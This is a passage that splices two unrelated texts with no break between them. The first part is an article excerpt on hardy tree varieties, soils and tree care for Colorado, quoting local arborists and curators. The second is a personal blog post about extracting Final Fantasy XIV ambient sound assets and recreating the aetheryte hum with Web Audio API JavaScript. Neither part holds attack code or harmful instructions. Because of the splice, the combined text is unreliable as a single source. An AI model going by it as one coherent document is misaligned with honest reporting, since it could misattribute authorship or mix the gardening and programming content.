Tim has collaborated with Scott Skogerboe over the years trialing a hardy Northern Pecan from seeds Scott collected and grew, and Tim planted, which have become “very nice trees.” He thinks Catalpa is good and solid. And as long as Redbud comes from a northern seed source, it’s a good small tree with great flowers. In flowering crab apples, he favors Red Baron, Thunderchild, Spring Snow, and Radiant. For elms with little or no scale insect, he recommends Accolade and Choice City. He likes drought tolerant, tough Hackberry, and American Linden which needs less water than most Lindens and is great for bees.

Panayoti Kelaidis, Senior Curator and Director of Outreach at Denver Botanic Gardens, is known to most of us as the Rock Garden Guru. Few know that he has always had a passion for trees, and has been involved in the Annual Tree Diversity Conference since its inception. Like Scott and Tim, Panayoti knows a lot of trees personally, checking up on them and their success. He worked with notable landscape designer and tree enthusiast, Al Rollinger and others to update Al’s 50-year tree survey of Denver’s unusual trees. Those that did best since first recorded in 1968 were Bur Oak, Kentucky Coffee Tree, Chinkapin Oak, Texas Red Oak and Yellow Buckeye. (Search for the full report, “Rollinger Tree Collection.”)

Panayoti said that we make trees grow here. By building houses that help create microclimates and protection, by adding compost to soils, and by watering, we cultivate soil and environment more supportive of trees over time. I learned from him that the U.S. has two basic soil types: a midwestern/eastern type called Pedalfer that forms in wetter, moister climates, is dark brown or black, very fertile and more acidic, like what is under hardwood forests; and our western Pedocal soil, formed in arid and semi-arid conditions, rich in calcium carbonate, low in organic matter, and more alkaline. This explains why some perfectly hardy eastern/midwestern trees don’t thrive here, and also why some thrive in old neighborhoods where people have for years been composting and watering, but languish or die in new neighborhoods.

Panayoti thinks the practice of cloning trees (grafting from a single variety) that produces individuals with identical genetics, is sad and a disaster in the making. He says we’re not thinking about what is good for nature because we are so focused on convenience, uniformity, and neatness. We need to experiment more, let nature make more fruit and eat and preserve that fruit. Trees are noble; there’s a reason people honor them. It is humbling that they are so big and strong and can live beyond our lifetimes.

Sonia John is curator of the Regis University Arboretum and has worked on the DU Arboretum. It was her idea to start the Annual Tree Diversity Conference in 2014, and she has helped present it ever since. She is growing over 100 small trees in her yard from seed, liners, and bigger starts, which are then planted in the Regis Arboretum.

Very knowledgeable about trees and interested in unusual varieties, she likes American Smoketree, Cotinus obovatus, a beautiful, tough, small tree, and the Yellowhorn (Xanthocerus) because of its drought tolerance and terrific flowers. Other favorites are Soapberry, Hickory, and Northern Pecan. She loves oaks, especially Bur Oak hybrids with Gambel Oak called bur-gambel, like ‘Westward Ho’ and ‘Jack Mze’. And she likes Black Jack Oak, Lacy Oak, Netleaf Oak, and one called ‘Azul de Salinas’. She thinks oaks are particularly smart for Colorado because they leaf out late and don’t seem hurt by our freezes. Because oaks interbreed so easily, she believes we could purposely breed them for more heat, cold and drought tolerance.

Sonia likes Catalpa, Kentucky Coffee Tree, and Hackberry and says Nipple Gall is not a big deal. If trees do need more water than some other plants, most need less than a bluegrass lawn and in terms of Climate Change they are worth it.

She encourages visiting trees in Ft. Collins at The Gardens on Spring Creek, the City Park Arboretum, and CSU Arboretum, and in Denver at Regis, DU Arboreta, Denver Botanic Gardens.

Further development in resilience might be possible using seed and natural hybrids collected in drier, more southern climates, selecting trees for more disease and pest resistance, and using root-pruning pots that prevent girdling roots. Inoculating tree roots with mycorrhizae when propagating and planting can help with establishment and stresses. Some trees, like oaks, need specific mycorrhizae so culturing the fungi taken from the soils of thriving native communities could be beneficial. Adding 20%-30% compost when planting helps hold moisture and feed the soil life.

I’ve been an arborist for 35 years and it is my opinion that it is healthier for trees to be planted outside the lawn area. The irrigation systems designed for frequent and excessive watering of lawns too often deprive trees of oxygen; most trees prefer deep, infrequent watering. Also the dense root systems of turf grasses don’t allow the deep watering that rain storms provide trees in a forest.

It would help if we could be more tolerant of the irregularities that come from seed propagation in order to benefit from increased genetic diversity. Also, letting insects damage 10% of the leaves of a tree before applying any controls, allows for caterpillars which, along with the beautiful butterflies and moths they become, are such important food for birds. This insect predation actually stimulates the strengthening of trees’ immune system.

Lastly, more diversity and resilience will only be achieved if gardeners are willing to try new trees, including some risky varieties; if they are successful others will be more interested and willing to try them.

Resources

• Front Range Tree Recommendation List from CSU Extension (2010)
• Best Trees for Boulder, by the City of Boulder

sometimes when i work i like to listen to ambiance. one video in particular is the "aetheryte asmr", which is an in game recording of the aetheryte crystal. for the past 6 years i've been listening to the same youtube video on repeat. there are a number of problems with this approach:

1. the youtube player's "loop" functionality doesn't always work. it might loop 20 or 200 times before failing(?) and auto-playing another video. this is jarring.
2. the audio in the video is a ~7 minute recording, but the loop isn't seamless (i spent far too long re-architecting my music player's internals to support gapless playback), and while it's long enough that i don't care when it cuts and loops, it would be nice if it were seamless.
3. of course i can't keep the game open.. that's far too resource intensive, other players (ffxiv is an mmorpg) could approach nearby and create noise and ruin the effect, etc.

none of these were deal breakers for me. 6 years is a pretty long time to go facing some struggles before sitting down and deciding to tackle a problem.

nevertheless, one day i finally sat down and thought to myself.. "how can i get the best experience for the ambience without sacrifice?"

the first answer is that i needed to get the game assets. whatever the game was using to play the noise, i needed to extract. with those in hand, i could recreate or play with them in whichever way i wanted.

getting the source assets

ffxiv isn't a super well protected game (at least i don't think.) if you web search "ffxiv data explorer" there are old java apps that load up the asset packages from the games install directory and let you export (presumably) compressed assets. i don't remember which fork i used, but i do know that it came with a hash table that mapped the file to an english file name.

you're going to laugh at me (and honestly that's ok.) i spent 4 hours coming through 4000 audio assets trying to find the audio assets. i literally ctrl+a'd all 4000 .wav files and pressed the left and right arrow keys to move back and forth within the large mpv playlist, looking for the aetheryte noise. the funny part is that i didn't find them, and had to go to sleep at 3am.

i'm an engineer though, right? work smarter, not harder (why didn't i do this before doing the tedious work? idk.) was there any better way to get the sound? did i miss it during my 3am comb over? (hint. i did.) turns out, there is! ffxiv has an extensive modding community and platform, and while i don't play the game much anymore, it was exhilarating to see how much effort people put into customizing their experience.

xivlauncher, vfxeditor, and soundfilter

if you boot ffxiv using xivlauncher (endorsed by my roommate who has 180 days of play time) you can load up plugins. one plugin of interest was soundfilter. i know the name is a bit misleading, but it has the ability to display the names of now playing assets. this helped a ton because i was able to teleport to a new area in the game (the aetherytes are basically waypoint / teleport crystals) and figure out which sound was being played. quickly after i found that the asset i was looking for was bgcommon/sound/fst/placednpc_ethelight_big_loop.scd/0. i quickly exported said asset and was on my way.

an interesting note about that asset is the /0 at the end. i'm pretty sure the sound "asset" contains multiple sounds (i think they were called tracks in game.) 0 was simply the "hum" or the low frequency of ambiance.

you can preview the assets here beware! these are loud. i did not normalize these to preserve integrity

sadly, getting the actual ambiance would require a bit more elbow grease. i could have just thrown these together in logic pro and called it a day, but where's the fun in that? plus, i'd have to create an excessively long track. i didn't want to be subconsciously aware of when the loop repeats. i wasn't too worried about this though, as i had the right tools up my sleeve to solve my first world made up problem.

web audio api

enter the web audio api. im not sure who (or what) did it first, but av processing tends to converge on the idea of "nodes" that produce, transmute, or consume samples. i'm pretty sure this comes from the status quo before large investments in pro-av workflows on computers, which i'd guess would be modular synths.

the hum

i didn't do much analysis on this asset in particular. i assumed (and was correct) that the loop is mostly a perfect loop. a friend of mine helped get it sample correct so that it'd loop without a click when playing with web audio api (you can instruct a "sink" node to continue supplying samples by resetting it's offset), but there wasn't any other post processing on that asset. the audio node graph is pretty simple at this point: source node (hum.wav) -> gain node (-25db) -> output node. the gain node is there to match the volume adjustment made in game. the interesting (but only relatively) part of the graph however is the whir nodes.

the whirs

ffxiv plays the whirs at random intervals, pitches, and gain (volume). these are all added to create an illusion of life(?) that make it harder to detect when an asset is repeating. thankfully, ffxiv also provided values that gave the min and max values for each of the random parameters, so it was easy to translate into javascript:

// select a random whir
const whirIndex = Math.floor(Math.random() * whirs.length);
// select a random pitch
const whirPlaybackRate = Math.random() * (1 - 0.794) + 0.794;
// select a random volume
whirGainNode.gain.value = Math.random() * (1 - 0.6) + 0.6;

if you've ever built a graph by hand the flow is usually something like: allocate a node, set metadata, and connect. i do the following to setup the hum:

const humSource = audioContext.createBufferSource();
humSource.buffer = await loadSample(
    audioContext,
    isSafari ? "assets/hum.wav.opus.aac" : "assets/hum.wav.opus",
);
humSource.playbackRate.value = 0.63;
humSource.connect(humGainNode);
humSource.loop = true;
humSource.start(0);

it's actually ok that i connect the node before i set loop, because the node doesn't produce samples until i call start.

the other part of the ceremony is the whir loop. it's not actually a loop using conventional loop control flow. instead of using a while (true) with a random "sleep" in between, i instead use setTimeout to schedule the next whir at a random interval.

function chooseWhir() {
    const whirSource = audioContext.createBufferSource();
    const whirIndex = Math.floor(Math.random() * whirs.length);
    const whirPlaybackRate = Math.random() * (1 - 0.794) + 0.794;
    whirGainNode.gain.value = Math.random() * (1 - 0.6) + 0.6;
    whirSource.buffer = whirs[whirIndex];
    whirSource.playbackRate.value = whirPlaybackRate;
    whirSource.connect(whirGainNode);
    whirSource.start(0);

    whirSource.onended = () => {
        // disconnect self and re-queue another whir
        whirSource.disconnect(whirGainNode);
        const nextWhirDelay = Math.floor(Math.random() * 2001);
        setTimeout(chooseWhir, nextWhirDelay);
    };
}

same deal here: create a source node, select a random asset, playback rate (pitch), gain (volume), and connect it to the gain node (which stays constant in this process and only has it's value changed.) the key here is that when the source asset ends, instead of looping, we remove that node from the graph and add a new one (by calling chooseWhir again.) because there is an expected delay before the next whir, i'm ok with adding whatever latency is added by doing the random calculation, it's likely marginal.

conclusion

this was a fun project to work on. you can demo the final result here. because we've ruined playing audio in browsers you need to interact with the page first before you can hear anything, so make sure you unmute both the whir and the hum and click "connect" to listen.

vanilla js

growing up as an engineer i didn't care too much about the web or web technologies. i was more focused on systems applications, games, and networking. im not sure where i learned to interact with the web or build web apps, but it sure wasn't the bog standard npm + react + jsx/tsx dance we have today. im not building enterprise grade web apps meant for collaboration between 100+ devs, it's just me. i didn't mind creating static elements and using document.getElemenyById. it greatly simplified the creation process and let me move quicker and care about the project at hand. no frustrations with transpilation or jsx, my project wasn't that complicated.